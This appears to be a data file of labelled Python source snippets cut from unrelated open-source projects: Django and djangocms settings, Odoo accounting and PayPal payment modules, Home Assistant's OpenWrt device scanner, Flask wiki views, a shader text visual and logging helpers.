'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' ",1 """ This class extends the base TransactionCase, in order to test the accounting with localization setups. It is configured to run the tests after the installation of all modules, and will SKIP TESTS ifit cannot find an already configured accounting (which means no localization module has been installed). """""" post_install = True at_install = False def setUp(self): super(AccountingTestCase, self).setUp() domain = [('company_id', '=', self.env.ref('base.main_company').id)] if not self.env['account.account'].search_count(domain): self.skipTest(""No Chart of account found"") def check_complete_move(self, move, theorical_lines): for aml in move.line_ids: line = (aml.name, round(aml.debit, 2), round(aml.credit, 2)) if line in theorical_lines: theorical_lines.remove(line) else: raise ValidationError('Unexpected journal item. (label: %s, debit: %s, credit: %s)' % (aml.name, round(aml.debit, 2), round(aml.credit, 2))) if theorical_lines: raise ValidationError('Remaining theorical line (not found). %s)' % ([(aml[0], aml[1], aml[2]) for aml in theorical_lines])) return True def ensure_account_property(self, property_name): '''Ensure the ir.property targetting an account.account passed as parameter exists. In case it's not: create it with a random account. This is useful when testing with partially defined localization (missing stock properties for example) :param property_name: The name of the property. ''' company_id = self.env.user.company_id field_id = self.env['ir.model.fields'].search( [('model', '=', 'product.template'), ('name', '=', property_name)], limit=1) property_id = self.env['ir.property'].search([ ('company_id', '=', company_id.id), ('name', '=', property_name), ('res_id', '=', None), ('fields_id', '=', field_id.id)], limit=1) account_id = self.env['account.account'].search([('company_id', '=', company_id.id)], limit=1) value_reference = 'account.account,%d' % account_id.id if property_id and not property_id.value_reference: property_id.value_reference = value_reference else: self.env['ir.property'].create({ 'name': property_name, 'company_id': company_id.id, 'fields_id': field_id.id, 'value_reference': value_reference, }) ",1 "according to PEP 3119. DON'T USE THIS MODULE DIRECTLY! The classes here should be imported via collections; they are defined here only to alleviate certain bootstrapping issues. Unit tests are in test_collections. """""" from abc import ABCMeta, abstractmethod import sys __all__ = [""Hashable"", ""Iterable"", ""Iterator"", ""Sized"", ""Container"", ""Callable"", ""Set"", ""MutableSet"", ""Mapping"", ""MutableMapping"", ""MappingView"", ""KeysView"", ""ItemsView"", ""ValuesView"", ""Sequence"", ""MutableSequence"", ] ### ONE-TRICK PONIES ### class Hashable: __metaclass__ = ABCMeta @abstractmethod def __hash__(self): return 0 @classmethod def __subclasshook__(cls, C): if cls is Hashable: for B in C.__mro__: if ""__hash__"" in B.__dict__: if B.__dict__[""__hash__""]: return True break return NotImplemented class Iterable: __metaclass__ = ABCMeta @abstractmethod def __iter__(self): while False: yield None @classmethod def __subclasshook__(cls, C): if cls is Iterable: if any(""__iter__"" in B.__dict__ for B in C.__mro__): return True return NotImplemented Iterable.register(str) class Iterator(Iterable): @abstractmethod def __next__(self): raise StopIteration def __iter__(self): return self @classmethod def __subclasshook__(cls, C): if cls is Iterator: if any(""next"" in B.__dict__ for B in C.__mro__): return True return NotImplemented class Sized: __metaclass__ = ABCMeta @abstractmethod def __len__(self): return 0 @classmethod def __subclasshook__(cls, C): if cls is Sized: if any(""__len__"" in B.__dict__ for B in C.__mro__): return True return NotImplemented class Container: __metaclass__ = ABCMeta @abstractmethod def __contains__(self, x): return False @classmethod def __subclasshook__(cls, C): if cls is Container: if any(""__contains__"" in B.__dict__ for B in C.__mro__): return True return NotImplemented class Callable: __metaclass__ = ABCMeta @abstractmethod def __call__(self, *args, **kwds): return False @classmethod def __subclasshook__(cls, C): if cls is Callable: if any(""__call__"" in B.__dict__ for B in C.__mro__): return True return NotImplemented ### SETS ### class Set(Sized, Iterable, Container): """"""A set is a finite, iterable container. This class provides concrete generic implementations of all methods except for __contains__, __iter__ and __len__. To override the comparisons (presumably for speed, as the semantics are fixed), all you have to do is redefine __le__ and then the other operations will automatically follow suit. """""" def __le__(self, other): if not isinstance(other, Set): return NotImplemented if len(self) > len(other): return False for elem in self: if elem not in other: return False return True def __lt__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) < len(other) and self.__le__(other) def __gt__(self, other): if not isinstance(other, Set): return NotImplemented return other < self def __ge__(self, other): if not isinstance(other, Set): return NotImplemented return other <= self def __eq__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) == len(other) and self.__le__(other) def __ne__(self, other): return not (self == other) @classmethod def _from_iterable(cls, it): '''Construct an instance of the class from any iterable input. Must override this method if the class constructor signature does not accept an iterable for an input. ''' return cls(it) def __and__(self, other): if not isinstance(other, Iterable): return NotImplemented return self._from_iterable(value for value in other if value in self) def isdisjoint(self, other): for value in other: if value in self: return False return True def __or__(self, other): if not isinstance(other, Iterable): return NotImplemented chain = (e for s in (self, other) for e in s) return self._from_iterable(chain) def __sub__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return self._from_iterable(value for value in self if value not in other) def __xor__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return (self - other) | (other - self) # Sets are not hashable by default, but subclasses can change this __hash__ = None def _hash(self): """"""Compute the hash value of a set. Note that we don't define __hash__: not all sets are hashable. But if you define a hashable set type, its __hash__ should call this function. This must be compatible __eq__. All sets ought to compare equal if they contain the same elements, regardless of how they are implemented, and regardless of the order of the elements; so there's not much freedom for __eq__ or __hash__. We match the algorithm used by the built-in frozenset type. """""" MAX = sys.maxint MASK = 2 * MAX + 1 n = len(self) h = 1927868237 * (n + 1) h &= MASK for x in self: hx = hash(x) h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 h &= MASK h = h * 69069 + 907133923 h &= MASK if h > MAX: h -= MASK + 1 if h == -1: h = 590923713 return h Set.register(frozenset) class MutableSet(Set): @abstractmethod def add(self, value): """"""Return True if it was added, False if already there."""""" raise NotImplementedError @abstractmethod def discard(self, value): """"""Return True if it was deleted, False if not there."""""" raise NotImplementedError def remove(self, value): """"""Remove an element. If not a member, raise a KeyError."""""" if value not in self: raise KeyError(value) self.discard(value) def pop(self): """"""Return the popped value. Raise KeyError if empty."""""" it = iter(self) try: value = it.__next__() except StopIteration: raise KeyError self.discard(value) return value def clear(self): """"""This is slow (creates N new iterators!) but effective."""""" try: while True: self.pop() except KeyError: pass def __ior__(self, it): for value in it: self.add(value) return self def __iand__(self, c): for value in self: if value not in c: self.discard(value) return self def __ixor__(self, it): if not isinstance(it, Set): it = self._from_iterable(it) for value in it: if value in self: self.discard(value) else: self.add(value) return self def __isub__(self, it): for value in it: self.discard(value) return self MutableSet.register(set) ### MAPPINGS ### class Mapping(Sized, Iterable, Container): @abstractmethod def __getitem__(self, key): raise KeyError def get(self, key, default=None): try: return self[key] except KeyError: return default def __contains__(self, key): try: self[key] except KeyError: return False else: return True def iterkeys(self): return iter(self) def itervalues(self): for key in self: yield self[key] def iteritems(self): for key in self: yield (key, self[key]) def keys(self): return list(self) def items(self): return [(key, self[key]) for key in self] def values(self): return [self[key] for key in self] # Mappings are not hashable by default, but subclasses can change this __hash__ = None def __eq__(self, other): return isinstance(other, Mapping) and \ dict(self.items()) == dict(other.items()) def __ne__(self, other): return not (self == other) class MappingView(Sized): def __init__(self, mapping): self._mapping = mapping def __len__(self): return len(self._mapping) class KeysView(MappingView, Set): def __contains__(self, key): return key in self._mapping def __iter__(self): for key in self._mapping: yield key class ItemsView(MappingView, Set): def __contains__(self, item): key, value = item try: v = self._mapping[key] except KeyError: return False else: return v == value def __iter__(self): for key in self._mapping: yield (key, self._mapping[key]) class ValuesView(MappingView): def __contains__(self, value): for key in self._mapping: if value == self._mapping[key]: return True return False def __iter__(self): for key in self._mapping: yield self._mapping[key] class MutableMapping(Mapping): @abstractmethod def __setitem__(self, key, value): raise KeyError @abstractmethod def __delitem__(self, key): raise KeyError __marker = object() def pop(self, key, default=__marker): try: value = self[key] except KeyError: if default is self.__marker: raise return default else: del self[key] return value def popitem(self): try: key = next(iter(self)) except StopIteration: raise KeyError value = self[key] del self[key] return key, value def clear(self): try: while True: self.popitem() except KeyError: pass def update(self, other=(), **kwds): if isinstance(other, Mapping): for key in other: self[key] = other[key] elif hasattr(other, ""keys""): for key in other.keys(): self[key] = other[key] else: for key, value in other: self[key] = value for key, value in kwds.items(): self[key] = value def setdefault(self, key, default=None): try: return self[key] except KeyError: self[key] = default return default MutableMapping.register(dict) ### SEQUENCES ### class Sequence(Sized, Iterable, Container): """"""All the operations on a read-only sequence. Concrete subclasses must override __new__ or __init__, __getitem__, and __len__. """""" @abstractmethod def __getitem__(self, index): raise IndexError def __iter__(self): i = 0 try: while True: v = self[i] yield v i += 1 except IndexError: return def __contains__(self, value): for v in self: if v == value: return True return False def __reversed__(self): for i in reversed(range(len(self))): yield self[i] def index(self, value): for i, v in enumerate(self): if v == value: return i raise ValueError def count(self, value): return sum(1 for v in self if v == value) Sequence.register(tuple) Sequence.register(basestring) Sequence.register(buffer) class MutableSequence(Sequence): @abstractmethod def __setitem__(self, index, value): raise IndexError @abstractmethod def __delitem__(self, index): raise IndexError @abstractmethod def insert(self, index, value): raise IndexError def append(self, value): self.insert(len(self), value) def reverse(self): n = len(self) for i in range(n//2): self[i], self[n-i-1] = self[n-i-1], self[i] def extend(self, values): for v in values: self.append(v) def pop(self, index=-1): v = self[index] del self[index] return v def remove(self, value): del self[self.index(value)] def __iadd__(self, values): self.extend(values) MutableSequence.register(list) ",1 "ents.device_tracker import ( DOMAIN, PLATFORM_SCHEMA as PARENT_PLATFORM_SCHEMA, DeviceScanner, ) from homeassistant.const import CONF_HOST, CONF_PASSWORD, CONF_USERNAME import homeassistant.helpers.config_validation as cv _LOGGER = logging.getLogger(__name__) CONF_DHCP_SOFTWARE = ""dhcp_software"" DEFAULT_DHCP_SOFTWARE = ""dnsmasq"" DHCP_SOFTWARES = [""dnsmasq"", ""odhcpd"", ""none""] PLATFORM_SCHEMA = PARENT_PLATFORM_SCHEMA.extend( { vol.Required(CONF_HOST): cv.string, vol.Required(CONF_PASSWORD): cv.string, vol.Required(CONF_USERNAME): cv.string, vol.Optional(CONF_DHCP_SOFTWARE, default=DEFAULT_DHCP_SOFTWARE): vol.In( DHCP_SOFTWARES ), } ) def get_scanner(hass, config): """"""Validate the configuration and return an ubus scanner."""""" dhcp_sw = config[DOMAIN][CONF_DHCP_SOFTWARE] if dhcp_sw == ""dnsmasq"": scanner = DnsmasqUbusDeviceScanner(config[DOMAIN]) elif dhcp_sw == ""odhcpd"": scanner = OdhcpdUbusDeviceScanner(config[DOMAIN]) else: scanner = UbusDeviceScanner(config[DOMAIN]) return scanner if scanner.success_init else None def _refresh_on_access_denied(func): """"""If remove rebooted, it lost our session so rebuild one and try again."""""" def decorator(self, *args, **kwargs): """"""Wrap the function to refresh session_id on PermissionError."""""" try: return func(self, *args, **kwargs) except PermissionError: _LOGGER.warning( ""Invalid session detected."" "" Trying to refresh session_id and re-run RPC"" ) self.ubus.connect() return func(self, *args, **kwargs) return decorator class UbusDeviceScanner(DeviceScanner): """""" This class queries a wireless router running OpenWrt firmware. Adapted from Tomato scanner. """""" def __init__(self, config): """"""Initialize the scanner."""""" host = config[CONF_HOST] self.username = config[CONF_USERNAME] self.password = config[CONF_PASSWORD] self.parse_api_pattern = re.compile(r""(?P\w*) = (?P.*);"") self.last_results = {} self.url = f""http://{host}/ubus"" self.ubus = Ubus(self.url, self.username, self.password) self.hostapd = [] self.mac2name = None self.success_init = self.ubus.connect() is not None def scan_devices(self): """"""Scan for new devices and return a list with found device IDs."""""" self._update_info() return self.last_results def _generate_mac2name(self): """"""Return empty MAC to name dict. Overridden if DHCP server is set."""""" self.mac2name = {} @_refresh_on_access_denied def get_device_name(self, device): """"""Return the name of the given device or None if we don't know."""""" if self.mac2name is None: self._generate_mac2name() if self.mac2name is None: # Generation of mac2name dictionary failed return None name = self.mac2name.get(device.upper(), None) return name @_refresh_on_access_denied def _update_info(self): """"""Ensure the information from the router is up to date. Returns boolean if scanning successful. """""" if not self.success_init: return False _LOGGER.info(""Checking hostapd"") if not self.hostapd: hostapd = self.ubus.get_hostapd() self.hostapd.extend(hostapd.keys()) self.last_results = [] results = 0 # for each access point for hostapd in self.hostapd: if result := self.ubus.get_hostapd_clients(hostapd): results = results + 1 # Check for each device is authorized (valid wpa key) for key in result[""clients""].keys(): device = result[""clients""][key] if device[""authorized""]: self.last_results.append(key) return bool(results) class DnsmasqUbusDeviceScanner(UbusDeviceScanner): """"""Implement the Ubus device scanning for the dnsmasq DHCP server."""""" def __init__(self, config): """"""Initialize the scanner."""""" super().__init__(config) self.leasefile = None def _generate_mac2name(self): if self.leasefile is None: if result := self.ubus.get_uci_config(""dhcp"", ""dnsmasq""): values = result[""values""].values() self.leasefile = next(iter(values))[""leasefile""] else: return result = self.ubus.file_read(self.leasefile) if result: self.mac2name = {} for line in result[""data""].splitlines(): hosts = line.split("" "") self.mac2name[hosts[1].upper()] = hosts[3] else: # Error, handled in the ubus.file_read() return class OdhcpdUbusDeviceScanner(UbusDeviceScanner): """"""Implement the Ubus device scanning for the odhcp DHCP server."""""" def _generate_mac2name(self): if result := self.ubus.get_dhcp_method(""ipv4leases""): self.mac2name = {} for device in result[""device""].values(): for lease in device[""leases""]: mac = lease[""mac""] # mac = aabbccddeeff # Convert it to expected format with colon mac = "":"".join(mac[i : i + 2] for i in range(0, len(mac), 2)) self.mac2name[mac.upper()] = lease[""hostname""] else: # Error, handled in the ubus.get_dhcp_method() return ",1 "n import login_required, current_user from realms.lib.util import to_canonical, remove_ext, gravatar_url from .models import PageNotFound blueprint = Blueprint('wiki', __name__) @blueprint.route(""/_commit//"") def commit(name, sha): if current_app.config.get('PRIVATE_WIKI') and current_user.is_anonymous(): return current_app.login_manager.unauthorized() cname = to_canonical(name) data = g.current_wiki.get_page(cname, sha=sha) if not data: abort(404) return render_template('wiki/page.html', name=name, page=data, commit=sha) @blueprint.route(r""/_compare//"") def compare(name, fsha, dots, lsha): if current_app.config.get('PRIVATE_WIKI') and current_user.is_anonymous(): return current_app.login_manager.unauthorized() diff = g.current_wiki.compare(name, fsha, lsha) return render_template('wiki/compare.html', name=name, diff=diff, old=fsha, new=lsha) @blueprint.route(""/_revert"", methods=['POST']) @login_required def revert(): cname = to_canonical(request.form.get('name')) commit = request.form.get('commit') message = request.form.get('message', ""Reverting %s"" % cname) if not current_app.config.get('ALLOW_ANON') and current_user.is_anonymous(): return dict(error=True, message=""Anonymous posting not allowed""), 403 if cname in current_app.config.get('WIKI_LOCKED_PAGES'): return dict(error=True, message=""Page is locked""), 403 try: sha = g.current_wiki.revert_page(cname, commit, message=message, username=current_user.username, email=current_user.email) except PageNotFound as e: return dict(error=True, message=e.message), 404 if sha: flash(""Page reverted"") return dict(sha=sha) @blueprint.route(""/_history/"") def history(name): if current_app.config.get('PRIVATE_WIKI') and current_user.is_anonymous(): return current_app.login_manager.unauthorized() hist = g.current_wiki.get_history(name) for item in hist: item['gravatar'] = gravatar_url(item['author_email']) return render_template('wiki/history.html', name=name, history=hist) @blueprint.route(""/_edit/"") @login_required def edit(name): cname = to_canonical(name) page = g.current_wiki.get_page(name) if not page: # Page doesn't exist return redirect(url_for('wiki.create', name=cname)) name = remove_ext(page['path']) g.assets['js'].append('editor.js') return render_template('wiki/edit.html', name=name, content=page.get('data'), info=page.get('info'), sha=page.get('sha'), partials=page.get('partials')) @blueprint.route(""/_create/"", defaults={'name': None}) @blueprint.route(""/_create/"") @login_required def create(name): cname = to_canonical(name) if name else """" if cname and g.current_wiki.get_page(cname): # Page exists, edit instead return redirect(url_for('wiki.edit', name=cname)) g.assets['js'].append('editor.js') return render_template('wiki/edit.html', name=cname, content="""", info={}) def _get_subdir(path, depth): parts = path.split('/', depth) if len(parts) > depth: return parts[-2] def _tree_index(items, path=""""): depth = len(path.split(""/"")) items = filter(lambda x: x['name'].startswith(path), items) items = sorted(items, key=lambda x: x['name']) for subdir, items in itertools.groupby(items, key=lambda x: _get_subdir(x['name'], depth)): if not subdir: for item in items: yield dict(item, dir=False) else: size = 0 ctime = sys.maxint mtime = 0 for item in items: size += item['size'] ctime = min(item['ctime'], ctime) mtime = max(item['mtime'], mtime) yield dict(name=path + subdir + ""/"", mtime=mtime, ctime=ctime, size=size, dir=True) @blueprint.route(""/_index"", defaults={""path"": """"}) @blueprint.route(""/_index/"") def index(path): if current_app.config.get('PRIVATE_WIKI') and current_user.is_anonymous(): return current_app.login_manager.unauthorized() items = g.current_wiki.get_index() if path: path = to_canonical(path) + ""/"" return render_template('wiki/index.html', index=_tree_index(items, path=path), path=path) @blueprint.route(""/"", methods=['POST', 'PUT', 'DELETE']) @login_required def page_write(name): cname = to_canonical(name) if not cname: return dict(error=True, message=""Invalid name"") if not current_app.config.get('ALLOW_ANON') and current_user.is_anonymous(): return dict(error=True, message=""Anonymous posting not allowed""), 403 if request.method == 'POST': # Create if cname in current_app.config.get('WIKI_LOCKED_PAGES'): return dict(error=True, message=""Page is locked""), 403 sha = g.current_wiki.write_page(cname, request.form['content'], message=request.form['message'], create=True, username=current_user.username, email=current_user.email) elif request.method == 'PUT': edit_cname = to_canonical(request.form['name']) if edit_cname in current_app.config.get('WIKI_LOCKED_PAGES'): return dict(error=True, message=""Page is locked""), 403 if edit_cname != cname: g.current_wiki.rename_page(cname, edit_cname) sha = g.current_wiki.write_page(edit_cname, request.form['content'], message=request.form['message'], username=current_user.username, email=current_user.email) return dict(sha=sha) elif request.method == 'DELETE': # DELETE if cname in current_app.config.get('WIKI_LOCKED_PAGES'): return dict(error=True, message=""Page is locked""), 403 sha = g.current_wiki.delete_page(cname, username=current_user.username, email=current_user.email) return dict(sha=sha) @blueprint.route(""/"", defaults={'name': 'home'}) @blueprint.route(""/"") def page(name): if current_app.config.get('PRIVATE_WIKI') and current_user.is_anonymous(): return current_app.login_manager.unauthorized() cname = to_canonical(name) if cname != name: return redirect(url_for('wiki.page', name=cname)) data = g.current_wiki.get_page(cname) if data: return render_template('wiki/page.html', name=cname, page=data, partials=data.get('partials')) else: return redirect(url_for('wiki.create', name=cname)) ",1 ".contrib.sessions', 'django.contrib.sites', 'django.contrib.admin', 'mptt', 'cms', 'menus', 'djangocms_inherit', 'south', ] DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:', } } TEMPLATE_CONTEXT_PROCESSORS = [ 'django.core.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.core.context_processors.media', 'django.core.context_processors.static', 'cms.context_processors.media', 'sekizai.context_processors.sekizai', ] ROOT_URLCONF = 'cms.urls' def schemamigration(): # turn ``schemamigration.py --initial`` into # ``manage.py schemamigration cmsplugin_disqus --initial`` and setup the # enviroment from django.conf import settings from django.core.management import ManagementUtility settings.configure( INSTALLED_APPS=INSTALLED_APPS, ROOT_URLCONF=ROOT_URLCONF, DATABASES=DATABASES, TEMPLATE_CONTEXT_PROCESSORS=TEMPLATE_CONTEXT_PROCESSORS ) argv = list(sys.argv) argv.insert(1, 'schemamigration') argv.insert(2, 'djangocms_inherit') utility = ManagementUtility(argv) utility.execute() if __name__ == ""__main__"": schemamigration() ",1 " __all__ = ['TextVisual'] VS = """""" gl_Position.x += (offset - text_width / 2) * spacing.x / window_size.x; gl_Position.y -= index * spacing.y / window_size.y; gl_Position.xy = gl_Position.xy + posoffset / window_size; gl_PointSize = point_size; flat_text_map = text_map; """""" def FS(background_transparent=True): if background_transparent: background_transparent_shader = ""letter_alpha"" else: background_transparent_shader = ""1."" fs = """""" // relative coordinates of the pixel within the sprite (in [0,1]) float x = gl_PointCoord.x; float y = gl_PointCoord.y; // size of the corresponding character float w = flat_text_map.z; float h = flat_text_map.w; // display the character at the left of the sprite float delta = h / w; x = delta * x; if ((x >= 0) && (x <= 1)) { // coordinates of the character in the font atlas vec2 coord = flat_text_map.xy + vec2(w * x, h * y); float letter_alpha = texture2D(tex_sampler, coord).a; out_color = color * letter_alpha; out_color.a = %s; } else out_color = vec4(0, 0, 0, 0); """""" % background_transparent_shader return fs class TextVisual(Visual): """"""Template for displaying short text on a single line. It uses the following technique: each character is rendered as a sprite, i.e. a pixel with a large point size, and a single texture for every point. The texture contains a font atlas, i.e. all characters in a given font. Every point comes with coordinates that indicate which small portion of the font atlas to display (that portion corresponds to the character). This is all done automatically, thanks to a font atlas stored in the `fontmaps` folder. There needs to be one font atlas per font and per font size. Also, there is a configuration text file with the coordinates and size of every character. The software used to generate font maps is AngelCode Bitmap Font Generator. For now, there is only the Segoe font. """""" def position_compound(self, coordinates=None): """"""Compound variable with the position of the text. All characters are at the exact same position, and are then shifted in the vertex shader."""""" if coordinates is None: coordinates = (0., 0.) if type(coordinates) == tuple: coordinates = [coordinates] coordinates = np.array(coordinates) position = np.repeat(coordinates, self.textsizes, axis=0) return dict(position=position) def text_compound(self, text): """"""Compound variable for the text string. It changes the text map, the character position, and the text width."""""" coordinates = self.coordinates if ""\n"" in text: text = text.split(""\n"") if type(text) == list: self.textsizes = [len(t) for t in text] text = """".join(text) if type(coordinates) != list: coordinates = [coordinates] * len(self.textsizes) index = np.repeat(np.arange(len(self.textsizes)), self.textsizes) text_map = self.get_map(text) # offset for all characters in the merging of all texts offset = np.hstack((0., np.cumsum(text_map[:, 2])[:-1])) # for each text, the cumsum of the length of all texts strictly # before d = np.hstack(([0], np.cumsum(self.textsizes)[:-1])) # compensate the offsets for the length of each text offset -= np.repeat(offset[d], self.textsizes) text_width = 0. else: self.textsizes = len(text) text_map = self.get_map(text) offset = np.hstack((0., np.cumsum(text_map[:, 2])[:-1])) text_width = offset[-1] index = np.zeros(len(text)) self.size = len(text) d = dict(text_map=text_map, offset=offset, text_width=text_width, index=index) d.update(self.position_compound(coordinates)) return d def initialize_font(self, font, fontsize): """"""Initialize the specified font at a given size."""""" self.texture, self.matrix, self.get_map = load_font(font, fontsize) def initialize(self, text, coordinates=(0., 0.), font='segoe', fontsize=24, color=None, letter_spacing=None, interline=0., autocolor=None, background_transparent=True, prevent_constrain=False, depth=None, posoffset=None): """"""Initialize the text template."""""" if prevent_constrain: self.constrain_ratio = False if autocolor is not None: color = get_color(autocolor) if color is None: color = self.default_color self.size = len(text) self.primitive_type = 'POINTS' self.interline = interline text_length = self.size self.initialize_font(font, fontsize) self.coordinates = coordinates point_size = float(self.matrix[:,4].max() * self.texture.shape[1]) # template attributes and varyings self.add_attribute(""position"", vartype=""float"", ndim=2, data=np.zeros((self.size, 2))) self.add_attribute(""offset"", vartype=""float"", ndim=1) self.add_attribute(""index"", vartype=""float"", ndim=1) self.add_attribute(""text_map"", vartype=""float"", ndim=4) self.add_varying(""flat_text_map"", vartype=""float"", flat=True, ndim=4) if posoffset is None: posoffset = (0., 0.) self.add_uniform('posoffset', vartype='float', ndim=2, data=posoffset) # texture self.add_texture(""tex_sampler"", size=self.texture.shape[:2], ndim=2, ncomponents=self.texture.shape[2], data=self.texture) # pure heuristic (probably bogus) if letter_spacing is None: letter_spacing = (100 + 17. * fontsize) self.add_uniform(""spacing"", vartype=""float"", ndim=2, data=(letter_spacing, interline)) self.add_uniform(""point_size"", vartype=""float"", ndim=1, data=point_size) # one color per if isinstance(color, np.ndarray) and color.ndim > 1: self.add_attribute('color0', vartype=""float"", ndim=4, data=color) self.add_varying('color', vartype=""float"", ndim=4) self.add_vertex_main('color = color0;') else: self.add_uniform(""color"", vartype=""float"", ndim=4, data=color) self.add_uniform(""text_width"", vartype=""float"", ndim=1) # compound variables self.add_compound(""text"", fun=self.text_compound, data=text) self.add_compound(""coordinates"", fun=self.position_compound, data=coordinates) # vertex shader self.add_vertex_main(VS, after='viewport') # fragment shader self.add_fragment_main(FS(background_transparent)) self.depth = depth",1 " = logging.getLogger('rdopkg') log.setLevel(logging.INFO) if len(log.handlers) < 1: formatter = logging.Formatter(fmt='%(message)s') handler = logging.StreamHandler() handler.setFormatter(formatter) log.addHandler(handler) class LogTerminal(terminal.Terminal): @property def warn(self): return self.yellow @property def important(self): return self.yellow_bold @property def error(self): return self.red @property def good(self): return self.green @property def cmd(self): return self.cyan term = LogTerminal() def set_colors(colors): global term if colors == 'yes': if not terminal.COLOR_TERMINAL: return False term = LogTerminal(force_styling=True) return True elif colors == 'no': if not terminal.COLOR_TERMINAL: return True term = LogTerminal(force_styling=None) return True elif colors == 'auto': term = LogTerminal() return True return False def error(*args, **kwargs): if args: largs = list(args) largs[0] = term.error(args[0]) args = tuple(largs) log.error(*args, **kwargs) def warn(*args, **kwargs): if args: largs = list(args) largs[0] = term.warn(args[0]) args = tuple(largs) log.warning(*args, **kwargs) def success(*args, **kwargs): if args: largs = list(args) largs[0] = term.good(args[0]) args = tuple(largs) log.info(*args, **kwargs) def info(*args, **kwargs): log.info(*args, **kwargs) def verbose(*args, **kwargs): log.log(VERBOSE, *args, **kwargs) def debug(*args, **kwargs): log.debug(*args, **kwargs) def command(*args, **kwargs): log.info(*args, **kwargs) ",1 "m odoo.addons.payment.models.payment_acquirer import ValidationError from odoo.addons.payment_paypal.controllers.main import PaypalController from odoo.tools.float_utils import float_compare _logger = logging.getLogger(__name__) class AcquirerPaypal(models.Model): _inherit = 'payment.acquirer' provider = fields.Selection(selection_add=[('paypal', 'Paypal')]) paypal_email_account = fields.Char('Paypal Email ID', required_if_provider='paypal', groups='base.group_user') paypal_seller_account = fields.Char( 'Paypal Merchant ID', groups='base.group_user', help='The Merchant ID is used to ensure communications coming from Paypal are valid and secured.') paypal_use_ipn = fields.Boolean('Use IPN', default=True, help='Paypal Instant Payment Notification', groups='base.group_user') paypal_pdt_token = fields.Char(string='Paypal PDT Token', help='Payment Data Transfer allows you to receive notification of successful payments as they are made.', groups='base.group_user') # Server 2 server paypal_api_enabled = fields.Boolean('Use Rest API', default=False) paypal_api_username = fields.Char('Rest API Username', groups='base.group_user') paypal_api_password = fields.Char('Rest API Password', groups='base.group_user') paypal_api_access_token = fields.Char('Access Token', groups='base.group_user') paypal_api_access_token_validity = fields.Datetime('Access Token Validity', groups='base.group_user') # Default paypal fees fees_dom_fixed = fields.Float(default=0.35) fees_dom_var = fields.Float(default=3.4) fees_int_fixed = fields.Float(default=0.35) fees_int_var = fields.Float(default=3.9) def _get_feature_support(self): """"""Get advanced feature support by provider. Each provider should add its technical in the corresponding key for the following features: * fees: support payment fees computations * authorize: support authorizing payment (separates authorization and capture) * tokenize: support saving payment data in a payment.tokenize object """""" res = super(AcquirerPaypal, self)._get_feature_support() res['fees'].append('paypal') return res @api.model def _get_paypal_urls(self, environment): """""" Paypal URLS """""" if environment == 'prod': return { 'paypal_form_url': 'https://www.paypal.com/cgi-bin/webscr', 'paypal_rest_url': 'https://api.paypal.com/v1/oauth2/token', } else: return { 'paypal_form_url': 'https://www.sandbox.paypal.com/cgi-bin/webscr', 'paypal_rest_url': 'https://api.sandbox.paypal.com/v1/oauth2/token', } @api.multi def paypal_compute_fees(self, amount, currency_id, country_id): """""" Compute paypal fees. :param float amount: the amount to pay :param integer country_id: an ID of a res.country, or None. This is the customer's country, to be compared to the acquirer company country. :return float fees: computed fees """""" if not self.fees_active: return 0.0 country = self.env['res.country'].browse(country_id) if country and self.company_id.country_id.id == country.id: percentage = self.fees_dom_var fixed = self.fees_dom_fixed else: percentage = self.fees_int_var fixed = self.fees_int_fixed fees = (percentage / 100.0 * amount + fixed) / (1 - percentage / 100.0) return fees @api.multi def paypal_form_generate_values(self, values): base_url = self.env['ir.config_parameter'].sudo().get_param('web.base.url') paypal_tx_values = dict(values) paypal_tx_values.update({ 'cmd': '_xclick', 'business': self.paypal_email_account, 'item_name': '%s: %s' % (self.company_id.name, values['reference']), 'item_number': values['reference'], 'amount': values['amount'], 'currency_code': values['currency'] and values['currency'].name or '', 'address1': values.get('partner_address'), 'city': values.get('partner_city'), 'country': values.get('partner_country') and values.get('partner_country').code or '', 'state': values.get('partner_state') and (values.get('partner_state').code or values.get('partner_state').name) or '', 'email': values.get('partner_email'), 'zip_code': values.get('partner_zip'), 'first_name': values.get('partner_first_name'), 'last_name': values.get('partner_last_name'), 'paypal_return': urls.url_join(base_url, PaypalController._return_url), 'notify_url': urls.url_join(base_url, PaypalController._notify_url), 'cancel_return': urls.url_join(base_url, PaypalController._cancel_url), 'handling': '%.2f' % paypal_tx_values.pop('fees', 0.0) if self.fees_active else False, 'custom': json.dumps({'return_url': '%s' % paypal_tx_values.pop('return_url')}) if paypal_tx_values.get('return_url') else False, }) return paypal_tx_values @api.multi def paypal_get_form_action_url(self): return self._get_paypal_urls(self.environment)['paypal_form_url'] class TxPaypal(models.Model): _inherit = 'payment.transaction' paypal_txn_type = fields.Char('Transaction type') # -------------------------------------------------- # FORM RELATED METHODS # -------------------------------------------------- @api.model def _paypal_form_get_tx_from_data(self, data): reference, txn_id = data.get('item_number'), data.get('txn_id') if not reference or not txn_id: error_msg = _('Paypal: received data with missing reference (%s) or txn_id (%s)') % (reference, txn_id) _logger.info(error_msg) raise ValidationError(error_msg) # find tx -> @TDENOTE use txn_id ? txs = self.env['payment.transaction'].search([('reference', '=', reference)]) if not txs or len(txs) > 1: error_msg = 'Paypal: received data for reference %s' % (reference) if not txs: error_msg += '; no order found' else: error_msg += '; multiple order found' _logger.info(error_msg) raise ValidationError(error_msg) return txs[0] @api.multi def 